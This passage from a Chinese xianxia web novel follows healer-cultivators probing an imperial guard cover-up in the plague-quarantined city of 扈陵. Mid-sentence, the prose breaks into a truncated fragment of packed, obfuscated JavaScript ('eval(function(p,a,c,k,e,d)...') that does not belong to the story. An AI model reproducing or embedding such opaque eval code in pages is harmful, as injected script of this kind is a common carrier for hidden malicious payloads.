“我在给你阐明后果。”丹砂继续道,“人病有药医,人死不复生。我已经告诉了你,你就没办法在知道这件事之后再让茜君死在你面前,不是吗?” 花沐雨低头笑道:“你是真的很想让我站在你这边。” “是的。”丹砂道,“只有你能做到我想做的事。肖元影不对,扈陵有危险,我不想死,也不想让其他人平白无故地死。” “好吧。”花沐雨道,“我都行。” 看着她脸上的笑脸,丹砂的目光一片澄澈:“你不生气吗?我在逼你。” 花沐雨仍是笑,一杯水喝空了,她提壶续满水杯。倒水时桌上渐了几滴,被她用指腹拭去。 “你太把我当一回事了。”花沐雨道,“实际上,我并没有什么非坚持不可的事。” 丹砂又开始用那种探究的眼神看着她。 “你怕不好的结果。”丹砂道,“但因为是我要你去的,所以即便结果不好,你也可以为自己开脱,对吧?‘是你让我这么的,结果不好,你也不能怪我’。” “嗯,对,你说得对。”花沐雨点头应和着,又抬头看她,带着点意料之中地,想要从她脸上看到失望的神色。 然而丹砂泰然。 “正常,大家都这样。”丹砂道,“人这一生酸苦良多,对抗、逃避、麻木,或置身事外,顺从一切,成为一个旁观者和取悦者。人总要想办法让自己好受一些,大家都是这样的。如果你不喜欢自己现在对待命运的态度,曾经让你不再痛苦的方法反而给你带来了新的痛苦,试着再换一种方式就好了。” 花沐雨低头一笑,避开了丹砂的目光。“对,你说的对。”花沐雨说,“我会去看茜君的。” 17. 探真言迷雾障眼 晚些时候,吴谦送来了肖元影回复的消息。 “当时城中极度混乱,我们也左支右绌,只来得及照顾最后的几个扈陵守军,其他的情况并没有多留意。”吴谦道,“肖统领收到消息之后也惊诧不已,已准备将消息传回金师,以供圣上定夺,还请仙师相信我们,我们一定全情处理好此事。” 他语气诚恳,神情中带着愧疚。花沐雨无意与他为难,草草点头放过。 作别花沐雨,吴谦来到永安堂外守卫的禁军处,悄声问道:“之前我们处理的那群扈陵当地军队的家眷,现在都在何处?” “一部分在南城,一部分还在北城。”手下低声答道。 南城的住户小南国的修士都已走访过,眼下不好处理。想到此处,吴谦在心中咬牙,自己前几日只顾着在永安堂中盯着川连丹砂和那个帏帽女子,忽略了修士外出走访,竟让他们捅出这么大的篓子。 “北城的那些暴民还没处理掉么?”吴谦又问。 “那妖邪仍在坚持,这帮修士来了之后,那边的兄弟也不敢太过大张旗鼓,情况一直僵持不下。”手下道。 吴谦暗恨,对手下说:“在他们明天再去走访之前,把南城那些知道情况的都提点好了,没用的东西都收干净。”虽说肖元影要的消息他打听出来了一些,但是南城出了漏子,北城僵持不下,他心里也不痛快,又叮嘱手下,“我不管你用什么方法,露在面上的,嘴务必都要严。北城那边再想想办法,这两天必须拿下!” “是。”手下答道,神色中不免有些为难。 当天还发生了另一件大事,川连制出了一味避疾方,可以对瘟疫起到一定的预防作用。 “一问三不知,倒是好琢磨。”丹砂抓药,语气冷淡,“问就说会上报朝廷,是打定主意让我们不用继续查了。” 花沐雨帮她捧着药盒:“我们本就是来治病的,也不是来查案的。” 丹砂睨她一眼:“他们可是要杀我们。” 花沐雨习惯了丹砂的固执,也不同她争辩,只道:“要杀我们的都已经不在了。” 丹砂起身去下一个药架,顺便看了一眼天色:“你什么时候走?” “天色还早呢。”花沐雨跟着她。 “白天发现佩刀的那户人家,你再去问一下,看看当时城中是什么情况。”丹砂道,“我们到这儿来了之后,都是听禁军说,还没听本地的百姓怎么说的呢。” 在这件事上丹砂说的也有理,花沐雨并无反对:“川连先生不是刚制出了避疾方,你帮我抓几副,写好用法,我上门也好有个理由。” 丹砂自然同意。 帮着丹砂抓完药,趁着夜色还未浓,花沐雨带着避疾方,从后门悄悄闪身出去。 入夜后的扈陵更加寂静,花沐雨沿着早上的路找到那户人家。她家大门紧闭,没有掌灯,屋里黑漆漆一片,怕是已经睡下了。 花沐雨这时又有些后悔,她忘了平常人家不像小南国众人那般昼夜颠倒,如此冒昧前来,她觉得时间尚早,其实对人家来说已经是很晚了。 这家中只有一个年轻的媳妇并患病的婆母,花沐雨不敢贸然敲门惊扰,只努力沿着门缝朝里打量,想看看是否还有人活动。半晌一无所获,花沐雨正转身欲走,忽听巷子口传来整齐的脚步声。花沐雨下意识往旁边一躲,倏尔反应过来,这想必是夜间巡逻的禁军,她又没有出城,有什么好躲的? 不等她神色自然地走出拐角,那一队禁军已经来到她想要拜访的那户人家门口。 “有人吗?开门!”为首的禁军并不像她之前那样小心,直接开始咚咚地砸着门,墙后的花沐雨都被这突如其来的响声惊了一下,一时也不想出来了。 不一会儿,院中传来女子的问话:“谁呀?” “金师禁军!”门外的禁军没好气地说,“开门!” “是何事啊?”年轻的媳妇问道,“请各位将军体谅,我们都已歇下了。” “扈陵匪患,要你们配合调查!”门外的禁军又开始拍门,“快开门!” 砸门声吵得不成样子,烛光逐渐靠近门扉,年轻的媳妇草草穿好了外衣,手持着烛台打开了门闩。不等她张口,禁军一把将门推开,几人径直越过她进门,朝厨房走去。 年轻的媳妇快步赶着跟在他们后面,连声问:“民妇家中只民妇和民妇婆婆两人,不知各位将军要找什么。” 为首的禁军踢开厨房的门,略扫两眼:“你男人的刀呢?” “刀?”年轻的媳妇一愣,“我已经收起来了。” “收哪儿去了?”为首的禁军逼问。 “收到民妇房中去了。”年轻的媳妇赶忙解释道,“那刀是我官人的遗物,他……” “把刀给我们拿出来。”为首的禁军打断道。 年轻的媳妇还想解释,为首的禁军不耐烦地抬高了声音:“快点儿去,等着交差呢。” 年轻的媳妇讪讪,转身回屋取东西去了。几个禁军回到院中,等着她把东西拿出来。 没一会儿,年轻的媳妇拿着刀回来,又央告道:“各位将军,我官人曾是扈陵守军校尉,瘟疫盛行后他以身殉职,尸体还是各位禁军大哥帮忙处理的……” “行了。”为首的禁军劈手夺过刀,抽出来看了一眼,又道,“这刀和扈陵匪患有关,是重要的物证,我们是要上报给朝廷的。匪患之事事关重大,除了朝廷派人,扈陵城中一切情况都不可对任何人透露,不然就是坏了大事,严重了要治你的罪,你知道吗?” 年轻的媳妇不舍地收回双手,低头应道:“民妇知道,多谢各位将军。” 一伙儿禁军如来时那般大摇大摆地走了,年轻的媳妇留在院中,深深地叹了一口气,举步去关门。 “姐姐且慢。” 年轻的媳妇吓了一跳,抬头看清门外是今早来过的修士,才松了一口气,矮身见礼:“仙师怎么来了?” “抱歉打扰。”花沐雨将药包递上,“如今城中瘟疫横行,你又日夜照顾婆母,恐有染病的风险。这是小南国川连先生今日新制的避疾方,用法写在纸上,你按时服用,可以预防染病。” 年轻的媳妇面色一松,双手将药接过:“多谢诸位仙师挂念。” “刚刚禁军来时,我在外面听了两句。”花沐雨顺势问道,“扈陵城中染病身死的尸首,都是禁军处理的吗?” 年轻的媳妇刚收到禁军的指示,但她以为禁军说的严禁透露是指对什么脸生的闲杂人等,小南国的仙师之前就在城中,又是修士,故而没什么防备,皆照实说了。 “正是。”年轻的媳妇道,“染病身故的一切尸首,都是他们处理的。瘟疫凶险,官家不许我们平民私自插手。” “守军的尸首,也全都是他们处理的?”花沐雨确认道。 “正是。“年轻的媳妇答道。 “瘟疫爆发后,扈陵城原本的守军情况如何?”花沐雨问。 年轻的媳妇摇摇头:“从官府老爷到守军,据我所知道的,都死尽了。” 花沐雨心中升起疑云,又不禁感慨,于是多问了一句:“这瘟疫到底是怎么起来的?” “最早听到风声,该是一个多月前了。”年轻的媳妇回忆着,“那时山洪刚下去,最初是大家闲谈,说东城王员外家里有人生了怪病,躺下了好几十口。当时我们也没当回事,听一耳朵就过去了。谁知道后来越来越严重,听说东城一条街上体面的富户家里都不行了。” 她抚着胸口,叹了一口气:“之后慢慢地,病也传到了我们这边,当时我们身边就已经开始死人,我婆婆也倒下了。再后来皇城派来了部队围住了城,就说不让进也不让出了,有人着急冲关,要出去躲灾,都叫人给杀了。你们来的前几日,禁军刚将好些别的地方的人都集中到这几条街来,说是方便医治。” “原来如此。”花沐雨了然。夜色渐深,她不好多加打扰,便说,“今夜多有打扰了,姐姐多多保重,早些休息吧。若是有事,便去永安堂寻我们。” “多谢仙师关怀。”年轻的媳妇再次福身。 花沐雨还礼,转身走了两步,忽然想到什么,又回头问道:“姐姐,你可知道,扈陵守军中是否有装备弩箭?” 年轻的媳妇已将门关了一半,闻言又再次打开:“仙师有所不知,弓弩是精细的兵器,我们这样寻常的城镇,一般是不会配备的。” 花沐雨点头。如果弓弩是精细的兵器,寻常的城镇不会有,那么什么样的地方才会有呢? 花沐雨回到永安堂清洗一番,借口休息熄了灯,悄无声息地溜出门去。 将帏帽外衣在隐蔽处藏好,花沐雨系上面罩,绕过巡逻的禁军,朝城外奔去。 避开没有遮挡的开阔街道,出城第一道难关便是城墙。 禁军巡逻集中在永安堂周围,城墙四周反倒没什么人。潜行至城墙下,花沐雨观察了一下墙头的灯火。她进城时便暗中留意过,城门处守军众多,但再往偏走一些便只有巡逻的人会经过。 此时墙上无人,巡逻的守军离得很远,花沐雨活动了一下筋骨,踩着地面一跃而起,像一只没有重量的蜘蛛,沿着常人难以落脚的极细砖缝,悄无声息地攀至垛口下。 紧贴着城墙,花沐雨再次观察了一下左右,趁四下无人,飞快翻过垛口,在空荡的城墙上一闪而过,翻身来到城墙外围。花沐雨提气松手,从三丈高的城墙顶落下。将将落地时,脚下银光一闪,花沐雨就地一滚,便轻松卸了力道。 正门正面是明晃晃的空地,那处是断不能走的。花沐雨矮身往西,从军营灯火照不到的暗处越过壕沟,沿着侧面进入了禁军营地。 进入大营,花沐雨并未着急去看茜君,而是在暗处观察了 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难道是我想错了?花沐雨暗道,弩箭并非寻常匪徒能用得起的兵器,难道不是出自禁军营吗? 她并不死心,连一旁堆放的盔甲也找了一遍,始终一无所获,只能暂时按下,按原路钻出帷帐,又将覆土和沙袋原样盖好。 茜君住的营帐靠近大营中心,花沐雨躲过好几波守卫,匍匐着来到了茜君的营帐附近。营帐前灯火摇动,帐内,一道魁梧的人影映在营帐上。 怎么还有人在此处?花沐雨皱眉,想像此前那样等到此人离开,但等了许久,都不见那人动作。 “叔叔。”帐中忽然传来茜君困倦的声音。 花沐雨精神一振,凝神去听,果听另一人的声音传来,正是肖元影。 “叔叔没走,别害怕,继续睡吧。”肖元影温声道。 茜君乖巧地嗯了一声,便不再说话了。 听着这简短的对话,花沐雨心中忪怔,眉头一展。肖元影对茜君的关怀全然不似作假。 看着那并未挪动的人影,花沐雨心知今晚怕是很难有机会见到茜君。不过,肖元影对茜君关怀至此,见不见也没那么重要了。 虽然心中还有疑虑,但花沐雨对肖元影的怀疑是彻底打消了。她想要打道回府,计划里还需去关押俘虏的地方看一眼,她便顺路去了,未料这一顺路却发现了古怪——上次来时关押了俘虏的牢笼空荡荡,就连收缴的兵器也都不见了。 带着疑问返回城内,花沐雨一边套上衣物,一边思索。 目前可以确定的线索只有一条,那便是贼人所使用的,是扈陵守军的兵器。 能接触到扈陵守军兵器的,要么是他们本人或家人,要么是为他们收尸的人,要么是摸尸偷盗守军遗物或是从扈陵军火库中私拿军火的人。 除此之外,这一群人还要训练有素。除了扈陵守军的刀,他们还能拿到做工精细、连扈陵守军都不曾配备的弩箭。如此看来,守城的禁军就十分可疑了。出城之前她就是这样怀疑的,所以才会去留意禁军的军火库。 但禁军的库中并没有那种弩箭,肖元影的姿态又不似作伪,城中的禁军连夜搜集证物、叮嘱涉事人员,确实像是已经上报的样子。 想到这里,花沐雨不禁遗憾自己当时没有多注意弩箭的制式,说不定那上面会有什么线索。 又想到另一事,花沐雨眉头紧锁。为什么俘虏都不见了,是押解回朝了吗? 不对。花沐雨暗想,如此时节,疫区的人无法离开……那那群俘虏去往何处了呢? 一边思索一边赶路,未想出结果,花沐雨已经回到永安堂后门。 既已回到城中,她放松戒备,又一路沉浸在思绪里,便未多留意,以至于推开后门时,门内门外的人都是一惊。 花沐雨一愣:“夜已深,吴统领,你们怎会在此处?” “我和部下在此商讨巡逻的细节。”吴谦答道,又问,“你怎么从后门回来?你不是已经休息了?” 花沐雨应付道:“原本是已经休息了,但躺下后辗转反侧、难以入眠,我便去城中闲逛了片刻。怕打扰到大家,这才走的后门。” “怎会难以入眠?”吴谦语带关切,“可让仙师们瞧过了?” 花沐雨笑道:“不过是小毛病罢了,还不至于麻烦她们。” “我技痒许久了。”吴谦笑道,“下次你若再睡不着,倒不如找我切磋几局。”又状似随口问道,“姑娘都去何处闲逛了?” “不过是在永安堂附近走了走。”花沐雨道,“走得困了就回来了。” “北岸有河景,鼎盛时沿河一带是难得的风景。只是如今黑灯瞎火,不然倒是可以带你去看看。”吴谦道,“时候不早了,姑娘也早些回去休息吧。” 花沐雨再次致谢,并未将此事放在心上,自回房间去了。 18. 隔一面日夜偷换 这一夜,扈陵城内外风平浪静。 “肖统领对茜君真的挺上心的。我没见到茜君。她好像是自己一个人害怕,肖元影一直在她的营帐里陪着她。”花沐雨道,“自从我们进城,肖统领、吴统领和他们治下的禁军兢兢业业,你为什么一直不放心肖元影和禁军?” 丹砂今天是夜班,听到花沐雨的问话,不赞同地嘀咕着:“一个人睡有什么好害怕的……” “丹砂。”花沐雨的语气有些严肃了,“你这样无凭无据又言之凿凿地怀疑别人,可称得上污蔑了。” 丹砂明白,若是再没有什么发现能佐证她的怀疑,就连花沐雨都不会帮她了。而她想了一想,自己能说得出的理由只有直觉。她对自己的直觉十分自信,觉得别人也都该相信自己的直觉,但她也知道,没有事实佐证,别人不相信她的直觉也是正常的。 想明白了这一点,丹砂原本满涨的情绪落了下去,连带着对整件事的态度都变得颓丧。 “就是感觉。我一看到他就觉得不舒服,感觉他定然对我们不利。”丹砂嘀咕着,“你们都相信肖元影,不信我,那就算了,你们继续信他呗。” 花沐雨理解丹砂的沮丧,温声道:“你救了我,我们是朋友,我天然地更愿意相信你,而不是一个陌生人。但我现在找不到怀疑肖元影的理由,你觉得呢?” 丹砂翻着书,不再说话。 “不过确实有一些疑点……”花沐雨斟酌着,还是对丹砂开了口,“我去到大营时,发现我们抓到的俘虏都不见了。” “不见了?”丹砂抬起头,眼中露出抓住人把柄的兴奋,“整个营地里都没有?这种时候,俘虏不可能出城,他们一定是想杀人灭口!” “今晚我去拜访那户旧扈陵守军家眷的时候,正遇到禁军前来搜查物证。”花沐雨语调迟缓,一边在说话,同时又在思考,“他们将刀作为物证搜走,又告诫那户女眷不可对旁人提及扈陵守军之事。他们走后,我找到那户女眷,她告诉我,扈陵守军都死绝了,还是禁军统一收的尸。” “那么除了禁军,就没人能拿到扈陵守军的刀。”丹砂道,“他们来赈灾的,总不至于蠢到把尸体处理了,却把刀单独扔在一边不管吧?他们不怕被人拿去作乱吗。” “那群贼人所用的武器,除了扈陵守军的佩刀,还有弓弩。”花沐雨道,“弓弩做工精密,扈陵守军并没有配备……” “扈陵守军级别不够,禁军的级别可够了?”丹砂道。 “但是禁军的军火库中并没有弓弩这种武器。”花沐雨道。 丹砂收回原本笃定的目光,陷入思索。 “那群贼人训练有素、身手不凡,以哨声为号,几人一队,绝不各自为伍。他们能拿到扈陵守军的兵器,还有更高级的弓弩……”花沐雨抬头看向丹砂,“如此,即便不是禁军参与,这伙儿贼人也绝不是普通的村野小盗。” “确实如此。”丹砂看向花沐雨,“那我们能怎么办呢?” 花沐雨并没有答话,看到她又捧着那本几乎比她本人块头还大的书,问:“最近老见你皱着眉头看书,是遇到了什么难题吗?” 丹砂拿手当书签,翻过书封,看了看封面上小南国创派祖师所题的“逢春诀”三字,又把书翻回正在看的那一页,轻轻拍了拍。 “问题可多了。”丹砂的思绪一下子被疾病占满,“这个瘟疫到底要怎么根治,凡人的筋脉到底要怎么接续,我所见到的黑气到底是不是错觉……”看着书页上密密麻麻的文字,丹砂摇摇头。 二人之间沉静了一会儿,花沐雨叹了口气:“按照我的性子,这事我就丢开手了。” 丹砂看向花沐雨。这时她要丢开手,她是完全可以理解的。 花沐雨沉吟着,从头一一细数:“体贴茜君、关怀百姓,肖元影挑不出错处。但他只说上报朝廷,具体是否上报、如何上报、上报后有何进展,我们一点消息也没收到。他本人一问三不知,禁军搜刀、叮嘱涉案人员三缄其口,俘虏失踪,如此种种,可以说是为官者的谨小慎微,也可说成是推诿和掩盖真相……”说完,花沐雨一锤定音,“匪患一事,若是我们真有意追查到底,不管肖元影是好人还是坏人,他都绝不是我们可以仰赖的得力之人。” 从出乎意料处燃起了希望的火光,丹砂连连点头。 “他对茜君倒是极好……” 花沐雨似有所感慨,丹砂担心她又犹豫,连忙打断道:“知人知面不知心,说两句话,办两件小事,算得了什么呢?” “我明白。”花沐雨失笑,“若他只是办事不利落,茜君在他处自是无恙。但若他实际上是为掩人耳目,茜君就有点危险了……不过这也是我们得知肖元影真正立场的关键。匪患一事,茜君是重要的人证。俘虏下落不明,如果茜君在他手中一直安然无恙,那他勉强可信。” 丹砂接道:“如果茜君有恙,他又解释不清俘虏的去向,那他定然牵涉其中。” 花沐雨与丹砂对视,二人皆知找到了关窍。 花沐雨叹道:“若真要查,那就查到底吧。起码要查出禁军是否真的可信,你们在这里是否安全,这也是我最开始选择和你们一起进城的原因。” 回想起她说的佩刀一事,丹砂了然。 “禁军在如今的扈陵可谓一手遮天,我们不能贸然行事。不然即便发现了真相,我们和扈陵剩余的百姓都被围困城中,恐怕也是凶多吉少。”花沐雨一想,又自我推测道,“从另一个角度来说,禁军在扈陵一手遮天,出了这么大的事,他们却一无所知,也是蹊跷。” “你打算怎么办?”丹砂问。 “正巧川连师叔制出避疾方,明天一早,我便借避疾方之名,正大光明地见一见茜君,同时也问一问俘虏之事。”花沐雨道,“确定了茜君的安危,听听肖元影说俘虏的下落,我们再分辨不迟。” “师叔正提到此事。”丹砂道,“不过他已经和吴谦说了,恐怕会由禁军自取。如果茜君真的出了问题,他们根本不会让我们出城探望。扈陵城只进不出,这可是现成的理由。” “如果真的一面都不让见,那就等同于有问题了。”花沐雨道,“你和先生提一提,让他派几个弟子和车队一起出城,为城外的禁军检查,看看是否有感染瘟疫的前兆。用这个理由,吴谦不会拒绝。我便跟着队伍,顺便去看看茜君。” 城外,禁军大营中。 “帏帽女子深夜外出,恐发现北城有异。” 肖元影看着吴谦传出的急报,面如止水。 先是发现了佩刀,后又是深夜外出,她绝对是起疑了。只是不知道她怀疑到什么程度,是只有她一个人起疑,还是这群修士都不再相信禁军……肖元影敲着桌面。只是鹤纸的下落没全部摸到,担心小南国那群人传信出去,他始终被制住了命脉。 若是他们不动声色,实际已经起疑,甚至已经传出信去…… 肖元影狠狠一砸桌子。 此时他又忍不住想起那位仙师来。自那日后,那位仙师再未造访。他暗恨自己那日忘记留下联络仙师的方法,不然以仙师未卜先知的能力,他何须受制于人? 事已至此,当务之急是查清全部鹤纸的下落,并探听他们到底怀疑到何种程度、是否已经传出信去。 想到此处,肖元影心中拿定主意,若是消息已经传出,大不了鱼死网破。他活不成,那就谁也别想好过。 次日一早,小南国弟子和禁军一起将避疾方所用的药材装车,预备送到城外大营。 “这次正好让几个弟子去大营中,也为将士们检查一番。”川连对吴谦道,“若有瘟疫之前兆,也好及时遏制。” 吴谦拱手道:“卑职替诸位兄弟谢过仙师。” 花沐雨扫了一眼川连身后的石耳、卜芥、水萍和白英,又看向丹砂。丹砂冲她摇摇头,她和川连提起时,川连虽然赞同,但并没有选丹砂出去,说是考虑到丹砂刚值过夜班,想来也是顾忌了一些此前丹砂对肖元影的态度。 永安堂内已经煮起了避疾方,清凉的药香传来。永安堂外的药材也已经装车完毕,花沐雨作为护送的人和卜芥等人一起上车,一行人朝城门口驶去。 清晨的空气中带着凉凉的湿润气息,清脆的马蹄声回荡在石板小巷中,连日忙碌的众人都强自振奋起精神。 “你们有人是今天晚上轮值的吗?”水萍问。 “我们都是今天白天轮值。”白英答道,“一会儿送完药材,要是回来得早,还得去当值。” 石耳开解水萍:“万事开头难,调整过来就好了。” 水萍苦笑一声:“后面会轻松一些吗?” 众人纷纷苦笑,卜芥道:“一直都是如此。后面会轻松,是因为你已经适应了。” 这次的队伍里有不少都是第一次来人间界的弟子,水萍便是其中之一。 下界之前,她早听闻凌虚界中对人间的种种流传。传言中,人间界是一片纯净的陌生之地,凡人虽苦,但淳朴而热情。下界之后,舟车劳顿,条件艰苦,又发生了令人不快的意外,但好在扈陵城中的凡人确实质朴善良,对修士也有无限的尊重和爱戴,有了这些安慰,她也能咬牙继续坚持下去。 花沐雨和卜芥在前面驾车,马车晃晃悠悠,花沐雨掩唇打了个小小的哈欠,熬了一夜的眼睛里仿佛进了沙子,干涩地眨动着。 “你不参与我们的轮值吧?”卜芥问。 他把轮值表通看了一遍,没见上面有花沐雨的名字。 “是没说让我参与。”花沐雨叹道,“但随时有事随时找我吧。” 卜芥道:“这可是让南星捞着了。你别看南星平时和蔼可亲,一旦忙起来,那脾气可是火爆得很,急了连师祖都敢骂。她带着端末堂,在我们谷中向来没人敢惹的。” 花沐雨有些惊讶:“这倒真没发现,我一直觉得南星脾气很好。” “跟你们脾气是很好的。”卜芥道,“她待这些年纪小的师弟师妹,都跟亲生的一样。广丹、丹砂都是她一手带出来的。” “你跟南星是同一批吗?”花沐雨问。 “嗯。”卜芥道,“南星比我稍早一些,路通、乌柏、水萍、广丹她们都是后来的。丹砂就更晚了。她是有一次师祖下界云游,在人间界捡到的。当时丹砂可能也就八九岁吧?脏兮兮的,据说之前是个流浪乞讨的孤儿。” “是。”水萍在车中笑道,“她刚来的时候,还是我带着她去洗的澡呢。” “原来如此。”花沐雨想着,也难怪她能一眼就看出茜君是在撒谎。 “她素来左性,你别和她一般见识。”卜芥见这几日丹砂和花沐雨交往颇多,今日有了机会,便宽慰道,“虽然有时候气人,但她是有真本事的。到底还是年纪太小,长大了就好了。” 花沐雨一笑,并未分辨。 一路闲聊着打发困意,车队来到城门边。 “开门!”吴谦勒马,朝城门上喊道,“我们往城外送避疾方!” 没过多久,城墙上的人喊道:“出城的都是什么人?” “有我们禁军的兄弟,还有几位小南国的仙师,教我们怎么用药,顺便为城外的兄弟们诊断!”吴谦喊道。 城墙上安静了一会儿,接着才传出回应:“奉陛下口令,入扈陵者不得出城。咱们兄弟可以驾车出来,各位仙师怕是不行!” “诸位仙师是去给我们诊病的!”吴谦喊道。 “吴统领,你别为难我们,我们接到的命令就是如此,实在是无法违抗。”城墙上的守军为难道。 “仙师只是出城检查,又不是出城离开,有何不可的?”吴谦喊道。 城墙上的守军告饶道:“皇命难违,吴统领,还请不要为难小的。” 花沐雨朝城墙上喊道:“不为难你们,尔等速去请示肖统领,肖统领自会让我们出去!” 城墙上的守军看向吴谦,众人都在看着,吴谦只能不为所动。无奈,城墙上有人匆匆跑了下去。 众人等了半晌,又见有人跑了上来:“肖统领昨晚彻夜回复金师对贼人一事的问询,刚睡下不久,近卫不让我等惊扰。我等人微言轻,实在没有办法。” 吴谦无奈地回身看向车内的小南国众人:“他们品阶低,遇事多有为难,还请诸位仙师体谅,不要怪罪他们。皇命难违,任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那日来不及介绍,还不知姑娘名讳?”肖元影客气地攀谈。 “行走江湖一无名小卒罢了。”花沐雨笑道,伸手去接茜君。 茜君看起来有些犯困,花沐雨伸手想抱她过来,她却背过脸去,双手紧紧环着肖元影的脖子不放。 花沐雨笑容一僵。 “时候太早,小孩子有些闹脾气。”肖元影温和地说,“好些日子没见了,我想着你们好不容易出来一次,就把她叫起来,让她见见你们,谁知道竟惹她生气了。” “小孩子有些任性也是正常的。”花沐雨笑笑,放下手臂,又问肖元影,“营中可有留下巡逻看守的人?” “自然。”肖元影道,“瘟疫之下人人自危,仙师特来看诊,众位将士无不欢欣。我便将将士分了批,轮换交替着来到此处。” “原来如此,肖统领果然安排周全。”花沐雨一边留意问诊的人数,一边问,“都在一营里住着,可要让那些俘虏也来看一看?” 肖元影道:“姑娘有所不知,我将匪徒劫道杀人一事回禀金师后,陛下得知匪徒猖狂至此,雷霆震怒,特许将俘虏押送出扈陵候审,我已派遣一支队伍送他们离开了。” “竟然能让俘虏出城?!”花沐雨言辞惊讶,“这是何时的事?” “约莫两日前。扈陵事态严峻,此事又涉及上界仙师,卑职的奏报一路上达天听,很快便有了回复。”言罢,肖元影一笑,“说到此处,姑娘那日发现佩刀一事,卑职还未当面谢过。姑娘的发现十分关键,卑职也已经上报,想必对此案进展有极大的帮助。” “统领言重了。”花沐雨道。 候诊的队伍渐短,白英的诊台前马上将有空缺。花沐雨瞅着空,对肖元影说:“统领劳心劳力,也快前去让白英看看吧?” “多谢姑娘。” 肖元影抱着茜君来到白英诊台前,白英见过礼,开始为肖元影号脉。 号完脉,白英收起帕子:“统领身体康健,并无瘟疫侵扰。只是思虑过重,万事还需宽心才好。”又对一旁协助分发避疾方的卜芥道,“卜芥,给肖统领一碗避疾方。” “多谢仙师。”肖元影道,“正好来了,也给我们茜君看看吧?” 见肖元影主动提起,花沐雨心中一动。白英朝茜君伸出手去,肖元影也想将背对着诊台的茜君转过来,茜君却忽然不配合起来。 “我不要看病!我要回去睡觉!我不要看病!我要回去睡觉!” 众人一动,茜君就哭闹不止,花沐雨也来帮忙,却无从下手。茜君人虽小,挣扎起来力气可不小。花沐雨不敢用力,卜芥过来帮忙,一上手茜君就说疼,惹得肖元影面露不快,卜芥也不好动手了。 “不看病不看病,我们就让姐姐看一眼好不好?姐姐好久没见你了。”肖元影哄道。 “我不要我不要,我就要回去睡觉,我就要回去睡觉!”茜君尖叫着。 肖元影无奈地看向白英,白英无奈地摆摆手,从诊台后出来,转着圈,费力地看了看茜君的气色和露出来的皮肤,又探了探茜君的额温,至于号脉,白英眼疾手快摸到了一把,至于更多的,除非把茜君的胳膊掰断,否则是不可能了。 “没事没事。”白英应付道,“这么生龙活虎面色红润的,哪像是生病的样子。” 花沐雨看了一眼白英,顾忌肖元影在,还是不好问出口。 茜君哭得厉害,肖元影一叠声谢过,拿过桌上的避疾汤,先自己一口气喝了,又向卜芥讨了一碗:“仙师,孩子哭得厉害,你给我一碗,我自去后面哄着喂给她。” 卜芥分给肖元影一碗,肖元影抱着茜君往后头走去了。 见他走远,花沐雨问白英:“茜君当真没事吗?” “没事。”白英道,“生龙活虎,丝毫不见虚弱;额头有些热和出汗,但孩子哭闹,有些热也是正常的,并不是瘟疫患者常见的高烧和盗汗。我虽只摸了一把,但她脉象强健有力,哪像生病的样子?” 花沐雨心中有些迟疑,但毕竟不懂医术,只能以白英的判断为准。 面诊结束,花沐雨在心中暗数,果真少了百来人,和肖元影所说对得上。白英的诊断没有异常,俘虏的下落也算分明,按理说花沐雨本该打消疑虑,但不知为何,花沐雨心中却越发觉得古怪起来。真就如丹砂所说,看起来没什么不对,但就是“感觉”不对。 为何种种疑问,都在今天得到解答了呢? 19. 差一招棋输满盘 众人回到永安堂的时候已是未时,午餐时间接近尾声,厨房中吃饭的人走得差不多,只有丹砂还在慢慢地吃,上首坐着面色不太好的川连。 不知发生了什么事,花沐雨端着南星给她留的饭走了过去。 “川连先生,丹砂。”打过招呼,花沐雨在丹砂对面坐下,正在川连左手边。 抬眼见是她,川连嗯了一声,一边收拾自己的碗筷一边关怀道:“禁军情况如何?” 花沐雨道:“禁军中并无人染病,我们把带过去的避疾方给他们煮分了,剩下的药材,白英和石耳也叮嘱清楚了用法。” “无人染病便好。”川连端着碗筷起身,“你们继续吃,我先出去看看川断。” 川连出去了,屋里只剩下花沐雨丹砂两个。 “川连先生看着不太高兴。”花沐雨问道。 丹砂道:“这才几日,弟子中已经有不少人灵力耗尽。从谷中带来的方子用到现在,效果也没有一开始那么明显了,十有八九也逃不开药力减退的结果,师叔正在发愁呢。” 听她这样说,花沐雨便明白了川连和丹砂近日来的担忧。连从小南国带来的方子和灵药都无用,难道扈陵的瘟疫就无法根治了吗? “川连先生打算怎么办?”她问。 “最近几日我们在尝试探究瘟疫的来源并拆分病气的构成。”丹砂道,“我们都曾在患者的病气中发现一丝黑气,但是那黑气无法捕捉,连《逢春诀》中也未有记载,师叔和我都想找到那到底是什么。” 花沐雨默默点头。 “我们还说了闭锁经脉的事。”丹砂语气中颇有不忿,“付出这样的代价之后,他们终于承认这个方法了。” 花沐雨一阵沉默。她其实也能理解反对丹砂的人。一个人在你面前,即便你知道他肯定是不活了,但此刻他确实也还活着啊。若轻易说出放弃,自己便仿佛是那个凶手了。 所幸丹砂并未等她的回复,转而问道:“城外情况怎么样?” “白英给茜君看过,说茜君无事。”花沐雨这才开口道,“但是茜君抗拒得厉害,她也只能草草检查一下。” “抗拒得厉害?”丹砂不解。 “可能是起得太早,在闹脾气。”花沐雨说道,“一直抱着肖元影不肯放手。” “你看她什么症状?”丹砂问,“她可有皮肤惨白、嘴唇发乌?” 花沐雨仔细回忆了一下。茜君本就皮肤白嫩,惨白与否……“面色是没什么血色。”花沐雨道,“嘴唇外面一圈确实有些发乌。” “发热吗?”丹砂问。 “白英摸了一下,说是有些出汗,但那时她情绪激动,哭得热了也是正常的。”花沐雨道。 “露在外面的皮肤没有黑斑?”丹砂又问。 花沐雨摇头:“没有黑斑。” “脉象呢?没摸到?”丹砂问道。 “白英说脉象有力,一点都不像生病的样子。”花沐雨答道。 “情绪激动也可以影响脉象,这做不得准的。”丹砂道,“还是得再给茜君仔细看看,最好能检查一下她身上是否有黑斑。” 花沐雨沉默:“错过这次机会,下次再要这样可就难了。” “你没问茜君吗?”丹砂道,“直接问她有没有身体不舒服?” “她一直埋着头,除了肖元影谁都不理,我没找到机会。”花沐雨心中无奈。 丹砂又恨茜君任性,继续追问:“其他的呢?” 花沐雨拨着碗中的饭菜,语气中带着几分思索:“肖元影说,金师特许俘虏出扈陵受审,已经押解走了。” “胡扯。”丹砂根本不信,“别说只是死了几个凡人,就算是修士死了,姜国的皇帝也绝不可能让自己有染病的风险。再说了,俘虏都被押走,茜君也是人证,为什么茜君不走?” 